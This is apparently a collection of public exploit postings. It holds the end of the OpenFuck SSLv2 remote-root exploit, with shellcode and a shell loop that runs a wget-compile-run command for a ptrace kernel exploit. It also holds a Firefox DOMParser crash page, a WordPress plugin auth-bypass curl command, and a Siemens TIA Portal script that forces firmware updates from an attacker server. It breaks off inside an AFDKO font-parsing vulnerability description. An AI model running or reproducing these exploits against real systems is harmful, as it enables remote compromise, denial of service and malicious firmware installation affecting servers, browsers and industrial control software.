    "\xb1\x03"             /* movb    $0x03,%cl              */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\xb0\x3f"             /* movb    $0x3f,%al              */
    "\x49"                 /* decl    %ecx                   */
    "\xcd\x80"             /* int     $0x80                  */
    "\x41"                 /* incl    %ecx                   */
    "\xe2\xf6"             /* loop    <findsckcode+62>       */

/* 10 byte setresuid(0,0,0); by core */
     "\x31\xc9"       /* xor    %ecx,%ecx */
     "\xf7\xe1"       /* mul    %ecx,%eax */
     "\x51"           /* push   %ecx */
     "\x5b"           /* pop    %ebx */
     "\xb0\xa4"       /* mov    $0xa4,%al */
     "\xcd\x80"       /* int    $0x80 */

    
/* bigger shellcode added by spabam */

/* "\xB8\x2F\x73\x68\x23\x25\x2F\x73\x68\xDC\x50\x68\x2F\x62\x69"
        "\x6E\x89\xE3\x31\xC0\x50\x53\x89\xE1\x04\x0B\x31\xD2\xCD\x80"
*/


/* 24 bytes execl("/bin/sh", "/bin/sh", 0); by LSD-pl */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdql                           */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80";             /* int     $0x80                  */

/* read and write buffer*/
#define BUFSIZE 16384

/* hardcoded protocol stuff */
#define CHALLENGE_LENGTH 16
#define RC4_KEY_LENGTH 16	/* 128 bits */
#define RC4_KEY_MATERIAL_LENGTH (RC4_KEY_LENGTH*2)

/* straight from the openssl source */
#define n2s(c,s)    ((s=(((unsigned int)(c[0]))<< 8)| (((unsigned int)(c[1]))    )),c+=2)
#define s2n(s,c)    ((c[0]=(unsigned char)(((s)>> 8)&0xff), c[1]=(unsigned char)(((s)    )&0xff)),c+=2)

/* we keep all SSL2 state in this structure */
typedef struct {
	int sock;

	/* client stuff */
	unsigned char challenge[CHALLENGE_LENGTH];
	unsigned char master_key[RC4_KEY_LENGTH];
	unsigned char key_material[RC4_KEY_MATERIAL_LENGTH];

	/* connection id - returned by the server */
	int conn_id_length;
	unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH];

	/* server certificate */
	X509 *x509;

	/* session keys */
	unsigned char* read_key;
	unsigned char* write_key;
	RC4_KEY* rc4_read_key;
	RC4_KEY* rc4_write_key;

	/* sequence numbers, used for MAC calculation */
	int read_seq;
	int write_seq;

	/* set to 1 when the SSL2 handshake is complete */
	int encrypted;
} ssl_conn;

#define COMMAND1 "TERM=xterm; export TERM=xterm; exec bash -i\n"
#define COMMAND2 "unset HISTFILE; cd /tmp; wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmod.c; ./exploit; \n"

long getip(char *hostname) {
	struct hostent *he;
	long ipaddr;
	
	if ((ipaddr = inet_addr(hostname)) < 0) {
		if ((he = gethostbyname(hostname)) == NULL) {
			perror("gethostbyname()");
			exit(-1);
		}
		memcpy(&ipaddr, he->h_addr, he->h_length);
	}	
	return ipaddr;
}

/* mixter's code w/enhancements by core */

int sh(int sockfd) {
   char snd[1024], rcv[1024];
   fd_set rset;
   int maxfd, n;

   /* Priming commands */
   strcpy(snd, COMMAND1 "\n");
   write(sockfd, snd, strlen(snd));

   strcpy(snd, COMMAND2 "\n");
   write(sockfd, snd, strlen(snd));

   /* Main command loop */
   for (;;) {
      FD_SET(fileno(stdin), &rset);
      FD_SET(sockfd, &rset);

      maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1;
      select(maxfd, &rset, NULL, NULL, NULL);

      if (FD_ISSET(fileno(stdin), &rset)) {
	 bzero(snd, sizeof(snd));
	 fgets(snd, sizeof(snd)-2, stdin);
	 write(sockfd, snd, strlen(snd));
      }

      if (FD_ISSET(sockfd, &rset)) {
	 bzero(rcv, sizeof(rcv));

	 if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) {
	    printf("Good Bye!\n");
	    return 0;
	 }

	 if (n < 0) {
	    perror("read");
	    return 1;
	 }

	 fputs(rcv, stdout);
	 fflush(stdout); /* keeps output nice */
      }
   } /* for(;;) */
}

/* Returns the local port of a connected socket */
int get_local_port(int sock)
{
	struct sockaddr_in s_in;
	unsigned int namelen = sizeof(s_in);

	if (getsockname(sock, (struct sockaddr *)&s_in, &namelen) < 0) {
		printf("Can't get local port: %s\n", strerror(errno));
		exit(1);
	}

	return s_in.sin_port;
}

/* Connect to a host */
int connect_host(char* host, int port)
{
	struct sockaddr_in s_in;
	int sock;

	s_in.sin_family = AF_INET;
	s_in.sin_addr.s_addr = getip(host);
	s_in.sin_port = htons(port);

	if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) {
		printf("Could not create a socket\n");
		exit(1);
	}

	if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) {
		printf("Connection to %s:%d failed: %s\n", host, port, strerror(errno));
		exit(1);
	}

	return sock;
}

/* Create a new ssl conn structure and connect to a host */
ssl_conn* ssl_connect_host(char* host, int port)
{
	ssl_conn* ssl;

	if (!(ssl = (ssl_conn*) malloc(sizeof(ssl_conn)))) {
		printf("Can't allocate memory\n");
		exit(1);
	}

	/* Initialize some values */
	ssl->encrypted = 0;
	ssl->write_seq = 0;
	ssl->read_seq = 0;

	ssl->sock = connect_host(host, port);

	return ssl;
}

/* global buffer used by the ssl result() */
char res_buf[30];

/* converts an SSL error code to a string */
char* ssl_error(int code) {
	switch (code) {
		case 0x00:	return "SSL2 PE UNDEFINED ERROR (0x00)";
		case 0x01:	return "SSL2 PE NO CIPHER (0x01)";
		case 0x02:	return "SSL2 PE NO CERTIFICATE (0x02)";
		case 0x04:	return "SSL2 PE BAD CERTIFICATE (0x03)";
		case 0x06:	return "SSL2 PE UNSUPPORTED CERTIFICATE TYPE (0x06)";
	default:
		sprintf(res_buf, "%02x", code);
		return res_buf;
	}
}

/* read len bytes from a socket. boring. */
int read_data(int sock, unsigned char* buf, int len)
{
	int l;
	int to_read = len;

	do {
		if ((l = read(sock, buf, to_read)) < 0) {
			printf("Error in read: %s\n", strerror(errno));
			exit(1);
		}
		to_read -= len;
	} while (to_read > 0);

	return len;
}

/* reads an SSL packet and decrypts it if necessery */
int read_ssl_packet(ssl_conn* ssl, unsigned char* buf, int buf_size)
{
	int rec_len, padding;

	read_data(ssl->sock, buf, 2);

	if ((buf[0] & 0x80) == 0) {
		/* three byte header */
		rec_len = ((buf[0] & 0x3f) << 8) | buf[1];
		read_data(ssl->sock, &buf[2], 1);
		padding = (int)buf[2];
	}
	else {
		/* two byte header */
		rec_len = ((buf[0] & 0x7f) << 8) | buf[1];
		padding = 0;
	}

	if ((rec_len <= 0) || (rec_len > buf_size)) {
		printf("read_ssl_packet: Record length out of range (rec_len = %d)\n", rec_len); 
		exit(1);
	}

	read_data(ssl->sock, buf, rec_len);

	if (ssl->encrypted) {
		if (MD5_DIGEST_LENGTH + padding >= rec_len) {
			if ((buf[0] == SSL2_MT_ERROR) && (rec_len == 3)) {
				/* the server didn't switch to encryption due to an error */
				return 0;
			}
			else {
				printf("read_ssl_packet: Encrypted message is too short (rec_len = %d)\n", rec_len);
				exit(1);
			}
		}

		/* decrypt the encrypted part of the packet */
		RC4(ssl->rc4_read_key, rec_len, buf, buf);

		/* move the decrypted message in the beginning of the buffer */
		rec_len = rec_len - MD5_DIGEST_LENGTH - padding;
		memmove(buf, buf + MD5_DIGEST_LENGTH, rec_len);
	}

	if (buf[0] == SSL2_MT_ERROR) {
		if (rec_len != 3) {
			printf("Malformed server error message\n");
			exit(1);
		}
		else {
			return 0;
		}
	}

	return rec_len;
}

/* send an ssl packet, encrypting it if ssl->encrypted is set */
void send_ssl_packet(ssl_conn* ssl, unsigned char* rec, int rec_len)
{
	unsigned char buf[BUFSIZE];
	unsigned char* p;
	int tot_len;
	MD5_CTX ctx;
	int seq;


	if (ssl->encrypted)
		tot_len = rec_len + MD5_DIGEST_LENGTH;	/* RC4 needs no padding */
	else
		tot_len = rec_len;

	if (2 + tot_len > BUFSIZE) {
		printf("send_ssl_packet: Record length out of range (rec_len = %d)\n", rec_len);
		exit(1);
	}

	p = buf;
	s2n(tot_len, p);

	buf[0] = buf[0] | 0x80;	/* two byte header */

	if (ssl->encrypted) {
		/* calculate the MAC */
		seq = ntohl(ssl->write_seq);

		MD5_Init(&ctx);
		MD5_Update(&ctx, ssl->write_key, RC4_KEY_LENGTH);
		MD5_Update(&ctx, rec, rec_len);
		MD5_Update(&ctx, &seq, 4);
		MD5_Final(p, &ctx);

		p+=MD5_DIGEST_LENGTH;

		memcpy(p, rec, rec_len);

		/* encrypt the payload */
		RC4(ssl->rc4_write_key, tot_len, &buf[2], &buf[2]);

	}
	else {
		memcpy(p, rec, rec_len);
	}

	send(ssl->sock, buf, 2 + tot_len, 0);

	/* the sequence number is incremented by both encrypted and plaintext packets
*/
	ssl->write_seq++;
}

/* Send a CLIENT HELLO message to the server */
void send_client_hello(ssl_conn *ssl)
{
	int i;
	unsigned char buf[BUFSIZE] =
		"\x01"			/* client hello msg */

		"\x00\x02"		/* client version */
		"\x00\x18"		/* cipher specs length */
		"\x00\x00"		/* session id length */
		"\x00\x10"		/* challenge length */

		"\x07\x00\xc0\x05\x00\x80\x03\x00"	/* cipher specs data */
		"\x80\x01\x00\x80\x08\x00\x80\x06"
		"\x00\x40\x04\x00\x80\x02\x00\x80"

		"";									/* session id data */

	/* generate CHALLENGE LENGTH bytes of challenge data */
	for (i = 0; i < CHALLENGE_LENGTH; i++) {
		ssl->challenge[i] = (unsigned char) (rand() >> 24);
	}
	memcpy(&buf[33], ssl->challenge, CHALLENGE_LENGTH);

	send_ssl_packet(ssl, buf, 33 + CHALLENGE_LENGTH);
}

/* Get a SERVER HELLO response from the server */
void get_server_hello(ssl_conn* ssl)
{
	unsigned char buf[BUFSIZE];
	const unsigned char *p, *end;
	int len;
	int server_version, cert_length, cs_length, conn_id_length;
	int found;

	if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
		printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
		exit(1);
	}
	if (len < 11) {
		printf("get_server_hello: Packet too short (len = %d)\n", len);
		exit(1);
	}

	p = buf;

	if (*(p++) != SSL2_MT_SERVER_HELLO) {
		printf("get_server_hello: Expected SSL2 MT SERVER HELLO, got %x\n", (int)p[-1]);
		exit(1);
	}
	

	if (*(p++) != 0) {
		printf("get_server_hello: SESSION-ID-HIT is not 0\n");
		exit(1);
	}

	if (*(p++) != 1) {
		printf("get_server_hello: CERTIFICATE-TYPE is not SSL CT X509 CERTIFICATE\n");
		exit(1);
	}

	n2s(p, server_version);
	if (server_version != 2) {
		printf("get_server_hello: Unsupported server version %d\n", server_version);
		exit(1);
	}

	n2s(p, cert_length);
	n2s(p, cs_length);
	n2s(p, conn_id_length);

	if (len != 11 + cert_length + cs_length + conn_id_length) {
		printf("get_server_hello: Malformed packet size\n");
		exit(1);
	}

	/* read the server certificate */
	ssl->x509 = NULL;
	ssl->x509=d2i_X509(NULL,&p,(long)cert_length);
	if (ssl->x509 == NULL) {
		printf("get server hello: Cannot parse x509 certificate\n");
		exit(1);
	}

	if (cs_length % 3 != 0) {
		printf("get server hello: CIPHER-SPECS-LENGTH is not a multiple of 3\n");
		exit(1);
	}

	found = 0;
	for (end=p+cs_length; p < end; p += 3) {
		if ((p[0] == 0x01) && (p[1] == 0x00) && (p[2] == 0x80))
			found = 1;	/* SSL CK RC4 128 WITH MD5 */
	}

	if (!found) {
		printf("get server hello: Remote server does not support 128 bit RC4\n");
		exit(1);
	}

	if (conn_id_length > SSL2_MAX_CONNECTION_ID_LENGTH) {
		printf("get server hello: CONNECTION-ID-LENGTH is too long\n");
		exit(1);
	}

	/* The connection id is sent back to the server in the CLIENT FINISHED packet */
	ssl->conn_id_length = conn_id_length;
	memcpy(ssl->conn_id, p, conn_id_length);
}

/* Send a CLIENT MASTER KEY message to the server */

void send_client_master_key(ssl_conn* ssl, unsigned char* key_arg_overwrite, int key_arg_overwrite_len) {
	int encrypted_key_length, key_arg_length, record_length;
	unsigned char* p;
	int i;
	EVP_PKEY *pkey=NULL;

	unsigned char buf[BUFSIZE] =
		"\x02"			/* client master key message */
		"\x01\x00\x80"	/* cipher kind */
		"\x00\x00"		/* clear key length */
		"\x00\x40"		/* encrypted key length */
		"\x00\x08";		/* key arg length */

	p = &buf[10];

	/* generate a 128 byte master key */
	for (i = 0; i < RC4_KEY_LENGTH; i++) {
		ssl->master_key[i] = (unsigned char) (rand() >> 24);
	}

	pkey=X509_get_pubkey(ssl->x509);
	if (!pkey) {
		printf("send client master key: No public key in the server certificate\n");
		exit(1);
	}

	if (EVP_PKEY_get1_RSA(pkey) == NULL) {
		printf("send client master key: The public key in the server certificate is not a RSA key\n");
		exit(1);
	}

	/* Encrypt the client master key with the server public key and put it in the packet */
	encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], EVP_PKEY_get1_RSA(pkey), RSA_PKCS1_PADDING);
	if (encrypted_key_length <= 0) {
		printf("send client master key: RSA encryption failure\n");
		exit(1);
	}

	p += encrypted_key_length;

	if (key_arg_overwrite) {
		/* These 8 bytes fill the key arg array on the server */
		for (i = 0; i < 8; i++) {
			*(p++) = (unsigned char) (rand() >> 24);
		}
		/* This overwrites the data following the key arg array */
		memcpy(p, key_arg_overwrite, key_arg_overwrite_len);

		key_arg_length = 8 + key_arg_overwrite_len;
	}
	else {
		key_arg_length = 0;	/* RC4 doesn't use KEY-ARG */
	}
	p = &buf[6];
	s2n(encrypted_key_length, p);
	s2n(key_arg_length, p);
	record_length = 10 + encrypted_key_length + key_arg_length;
	send_ssl_packet(ssl, buf, record_length);
	ssl->encrypted = 1;
}
void generate_key_material(ssl_conn* ssl)
{
	unsigned int i;
	MD5_CTX ctx;
	unsigned char *km;
	unsigned char c='0';

	km=ssl->key_material;
	for (i=0; i<RC4_KEY_MATERIAL_LENGTH; i+=MD5_DIGEST_LENGTH) {
		MD5_Init(&ctx);

		MD5_Update(&ctx,ssl->master_key,RC4_KEY_LENGTH);
		MD5_Update(&ctx,&c,1);
		c++;
		MD5_Update(&ctx,ssl->challenge,CHALLENGE_LENGTH);
		MD5_Update(&ctx,ssl->conn_id, ssl->conn_id_length);
		MD5_Final(km,&ctx);
		km+=MD5_DIGEST_LENGTH;
	}
}
void generate_session_keys(ssl_conn* ssl)
{
	generate_key_material(ssl);
	ssl->read_key = &(ssl->key_material[0]);
	ssl->rc4_read_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
	RC4_set_key(ssl->rc4_read_key, RC4_KEY_LENGTH, ssl->read_key);

	ssl->write_key = &(ssl->key_material[RC4_KEY_LENGTH]);
	ssl->rc4_write_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
	RC4_set_key(ssl->rc4_write_key, RC4_KEY_LENGTH, ssl->write_key);
}
void get_server_verify(ssl_conn* ssl)
{
	unsigned char buf[BUFSIZE];
	int len;
	if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
		printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
		exit(1);
	}
	if (len != 1 + CHALLENGE_LENGTH) {
		printf("get server verify: Malformed packet size\n");
		exit(1);
	}
	if (buf[0] != SSL2_MT_SERVER_VERIFY) {
		printf("get server verify: Expected SSL2 MT SERVER VERIFY, got %x\n", (int)buf[0]);
		exit(1);
	}
	if (memcmp(ssl->challenge, &buf[1], CHALLENGE_LENGTH)) {
		printf("get server verify: Challenge strings don't match\n");
		exit(1);
	}
}
void send_client_finished(ssl_conn* ssl)
{
	unsigned char buf[BUFSIZE];
	buf[0] = SSL2_MT_CLIENT_FINISHED;
	memcpy(&buf[1], ssl->conn_id, ssl->conn_id_length);
	send_ssl_packet(ssl, buf, 1+ssl->conn_id_length);
}
void get_server_finished(ssl_conn* ssl)
{
	unsigned char buf[BUFSIZE];
	int len;
	int i;
	if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
		printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
		exit(1);
	}
	if (buf[0] != SSL2_MT_SERVER_FINISHED) {
		printf("get server finished: Expected SSL2 MT SERVER FINISHED, got %x\n", (int)buf[0]);
		exit(1);
	}

	if (len <= 112 /*17*/) {
		printf("This server is not vulnerable to this attack.\n");
		exit(1);
	}
	cipher = *(int*)&buf[101];
	ciphers = *(int*)&buf[109];
	printf("cipher: 0x%x   ciphers: 0x%x\n", cipher, ciphers);
}
void get_server_error(ssl_conn* ssl)
{
	unsigned char buf[BUFSIZE];
	int len;

	if ((len = read_ssl_packet(ssl, buf, sizeof(buf))) > 0) {
		printf("get server finished: Expected SSL2 MT ERROR, got %x\n", (int)buf[0]);
		exit(1);
	}
}
void usage(char* argv0)
{
	int i;
	printf(": Usage: %s target box [port] [-c N]\n\n", argv0);
	printf("  target - supported box eg: 0x00\n");
	printf("  box - hostname or IP address\n");
	printf("  port - port for ssl connection\n");
	printf("  -c open N connections. (use range 40-50 if u dont know)\n");
	printf("  \n\n");
	printf("  Supported OffSet:\n");

	for (i=0; i<=MAX_ARCH; i++) {
		printf("\t0x%02x - %s\n", i, architectures[i].desc);
	}
	printf("\nFuck to all guys who like use lamah ddos. Read SRC to have no surprise\n");

	exit(1);
}
int main(int argc, char* argv[])
{
	char* host;
	int port = 443;
	int i;
	int arch;
	int N = 0;
	ssl_conn* ssl1;
	ssl_conn* ssl2;

	printf("\n");
	printf("*******************************************************************\n");
	printf("* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *\n");
	printf("*******************************************************************\n");
        printf("* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *\n");
        printf("* #hackarena  irc.brasnet.org                                     *\n");
	printf("* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *\n");
	printf("* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *\n");
	printf("* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *\n");
	printf("*******************************************************************\n");
	printf("\n");
	if ((argc < 3) || (argc > 6))
		usage(argv[0]);
	sscanf(argv[1], "0x%x", &arch);
	if ((arch < 0) || (arch > MAX_ARCH))
		usage(argv[0]);
	host = argv[2];
	if (argc == 4)
		port = atoi(argv[3]);
	else if (argc == 5) {
		if (strcmp(argv[3], "-c"))
			usage(argv[0]);
		N = atoi(argv[4]);
	}
	else if (argc == 6) {
		port = atoi(argv[3]);
		if (strcmp(argv[4], "-c"))
			usage(argv[0]);
		N = atoi(argv[5]);
	}
	srand(0x31337);
	for (i=0; i<N; i++) {
		printf("\rConnection... %d of %d", i+1, N);
		fflush(stdout);
		connect_host(host, port);
		usleep(100000);
	}
	if (N) printf("\n");
	printf("Establishing SSL connection\n");
	ssl1 = ssl_connect_host(host, port);
	ssl2 = ssl_connect_host(host, port);
	send_client_hello(ssl1);
	get_server_hello(ssl1);
	send_client_master_key(ssl1, overwrite_session_id_length, sizeof(overwrite_session_id_length)-1);
	generate_session_keys(ssl1);
	get_server_verify(ssl1);
	send_client_finished(ssl1);
	get_server_finished(ssl1);
	printf("Ready to send shellcode\n");
	port = get_local_port(ssl2->sock);
	overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);
	overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff);
	*(int*)&overwrite_next_chunk[156] = cipher;
	*(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12;
	*(int*)&overwrite_next_chunk[196] = ciphers + 16;	/* shellcode address */
	send_client_hello(ssl2);
	get_server_hello(ssl2);
	send_client_master_key(ssl2, overwrite_next_chunk, sizeof(overwrite_next_chunk)-1);
	generate_session_keys(ssl2);
	get_server_verify(ssl2);
	for (i = 0; i < ssl2->conn_id_length; i++) {
		ssl2->conn_id[i] = (unsigned char) (rand() >> 24);
	}
	send_client_finished(ssl2);
	get_server_error(ssl2);
	printf("Spawning shell...\n");
	sleep(1);
	sh(ssl2->sock);
	close(ssl2->sock);
	close(ssl1->sock);
	return 0;
}
/* spabam: It isn't 0day */
            
<!--
  Exploit Title: DOMParser Denial of Service on Firefox 67.0.4 

  Date: 09/07/2019

  Description: pass a huge string as an argument to DOMParser.parseFromString will crash the tab in Firefox version 67.0.4.

  Exploit Author:Tejas Ajay Naik  

  Vendor Homepage: 

  Software Link: https://ftp.mozilla.org/pub/firefox/releases/

  Version: 67.0.4

  Tested On: Linux x86,Windows x64 1803  

  CVE:
-->
<!DOCTYPE html>
<head>
  <title>
    Loading please wait
  </title>
  
  <script>
    function MyFun() {
    
    var text = [];
    for(var i=0 ;i<300 ; ++i)
      text += "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>";
      var domparser = new DOMParser();
      var doc = domparser.parseFromString(text,"application/xhtml+xml");
  }
  </script>

</head>

<body>
  <input type="button" onmousemove="MyFun()" value="click"/>
  <p id="demo"></p>
</body>  
</html>
            
Exploit Title: WP Like Button 1.6.0 - Auth Bypass
Date: 05-Jul-19
Exploit Author: Benjamin Lim
Vendor Homepage: http://www.crudlab.com
Software Link: https://wordpress.org/plugins/wp-like-button/
Version: 1.6.0
CVE : CVE-2019-13344

1. Product & Service Introduction:
WP Like button allows you to add Facebook like button on your wordpress
blog. You can also add Share button along with Like button or can add
recommend button. As of now, the plugin has been downloaded 129,089 times
and has 10,000+ active installs.

2. Technical Details & Description:
Authentication Bypass vulnerability in the WP Like Button (Free) plugin
version 1.6.0 allows unauthenticated attackers to change the settings of
the plugin. The contains() function in wp_like_button.php did not check if
the current request is made by an authorized user, thus allowing any
unauthenticated user to successfully update the settings of the plugin.

3. Proof of Concept (PoC):
For example, the curl command below allows an attacker to change the
each_page_url parameter to https://hijack.com. This allows the attacker to
hijack Facebook likes.

curl -k -i --raw -X POST -d
"page=facebook-like-button&site_url=https%%3A%%2F%%2Flocalhost%%2Fwp&display[]=1&display[]=2&display[]=4&display[]=16&mobile=1&fb_app_id=&fb_app_admin=&kd=0&fblb_default_upload_image=&code_snippet=%%3C%%3Fphp+echo+fb_like_button()%%3B+%%3F%%3E&beforeafter=before&eachpage=url&each_page_url=
https://hijack.com&language=en_US&width=65&position=center&layout=box_count&action=like&color=light&btn_size=small&faces=1&share=1&update_fblb="
"https://localhost/wp/wp-admin/admin.php?page=facebook-like-button&edit=1"
-H "Content-Type: application/x-www-form-urlencoded"

4. Mitigation
No update has been released by the vendor. Users are advised to switch to a
different plugin.

5. Disclosure Timeline
2019/06/24 Vendor contacted regarding vulnerability in v1.5.0 (crudlab@gmail.com)
2019/06/30 Second email sent to vendor (crudlab@gmail.com)
2019/07/02 Vendor released v1.6.0 update. Vulnerability still exists.
Vendor did not acknowledge any emails.
2018/07/03 Third email sent to vendor's billing email domain (info@purelogics.net)
2018/07/05 Public disclosure

6. Credits & Authors:
Benjamin Lim - [https://limbenjamin.com]
            
##
# Exploit Title: Siemens TIA Portal unauthenticated remote command execution
# Date: 06/11/2019
# Exploit Author: Joseph Bingham
# CVE : CVE-2019-10915
# Vendor Homepage: www.siemens.com
# Software Link: https://new.siemens.com/global/en/products/automation/industry-software/automation-software/tia-portal.html
# Version: TIA Portal V15 Update 4
# Tested on: Windows 10
# Advisory: https://www.tenable.com/security/research/tra-2019-33
# Writeup: https://medium.com/tenable-techblog/nuclear-meltdown-with-critical-ics-vulnerabilities-8af3a1a13e6a
# Affected Vendors/Device/Firmware:
#  - Siemens STEP7 / TIA Portal
##

##
# Example usage
# $ python cve_2019_10915_tia_portal_rce.py 
# Received '0{"sid":"ZF_W8SDLY3SCGExV9QZc1Z9-","upgrades":[],"pingInterval":25000,"pingTimeout":60000}'
# Received '40'
# Received '42[" ",{"configType":{"key":"ProxyConfigType","defaultValue":0,"value":0},"proxyAddress":{"key":"ProxyAddress","defaultValue":"","value":""},"proxyPort":{"key":"ProxyPort","defaultValue":"","value":""},"userName":{"key":"ProxyUsername","defaultValue":"","value":""},"password":{"key":"ProxyPassword","defaultValue":"","value":""}},null]'
##

import websocket, ssl, argparse

parser = argparse.ArgumentParser()
parser.add_argument("target_host", help="TIA Portal host") 
parser.add_argument("target_port", help="TIA Portal port (ie. 8888)", type=int) 
parser.add_argument("(optional) update_server", help="Malicious firmware update server IP") 
args = parser.parse_args()
  
host = args.target_host
port = args.target_port
updatesrv = args.update_server
ws = websocket.create_connection("wss://"+host+":"+port+"/socket.io/?EIO=3&transport=websocket&sid=", sslopt={"cert_reqs": ssl.CERT_NONE})
# Read current proxy settings
#req = '42["cli2serv",{"moduleFunc":"ProxyModule.readProxySettings","data":"","responseEvent":" "}]'
# Change application proxy settings
#req = '42["cli2serv",{"moduleFunc":"ProxyModule.saveProxyConfiguration","data":{"configType":{"key":"ProxyConfigType","defaultValue":0,"value":1},"proxyAddress":{"key":"ProxyAddress","defaultValue":"","value":"10.0.0.200"},"proxyPort":{"key":"ProxyPort","defaultValue":"","value":"8888"},"userName":{"key":"ProxyUsername","defaultValue":"","value":""},"password":{"key":"ProxyPassword","defaultValue":"","value":""}},responseEvent":" "}]'
# Force a malicious firmware update
req = 42["cli2serv",{"moduleFunc":"SoftwareModule.saveUrlSettings","data":{"ServerUrl":"https://"+updatesrv+"/FWUpdate/","ServerSource":"CORPORATESERVER","SelectedUSBDrive":"\\","USBDrivePath":"","downloadDestinationPath":"C:\\Siemens\\TIA Admin\\DownloadCache","isMoveDownloadNewDestination":true,"CyclicCheck":false,"sourcePath":"C:\\Siemens\\TIA Admin\\DownloadCache","productionLine":"ProductionLine1","isServerChanged":true},"responseEvent":" "}]'
ws.send(req)

result = ws.recv()
print("Received '%s'" % result)

result = ws.recv()
print("Received '%s'" % result)

result = ws.recv()
print("Received '%s'" % result)
            
-----=====[ Background ]=====-----

AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.

At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.

We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.

One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.

-----=====[ Description ]=====-----

The handleBlend() function in afdko/c/public/lib/source/cffread/cffread.c is called when a cff_blend operator is encountered while parsing a CFF DICT object in readDICT():

--- cut ---
  1466              case cff_blend:
  1467                  if (h->stack.numRegions == 0) {
  1468                      /* priv->vsindex is set to 0 by default; it is otherwise only if the vsindex operator is used */
  1469                      setNumMasters(h, priv->vsindex);
  1470                  }
  1471                  handleBlend(h);
  1472                  continue;
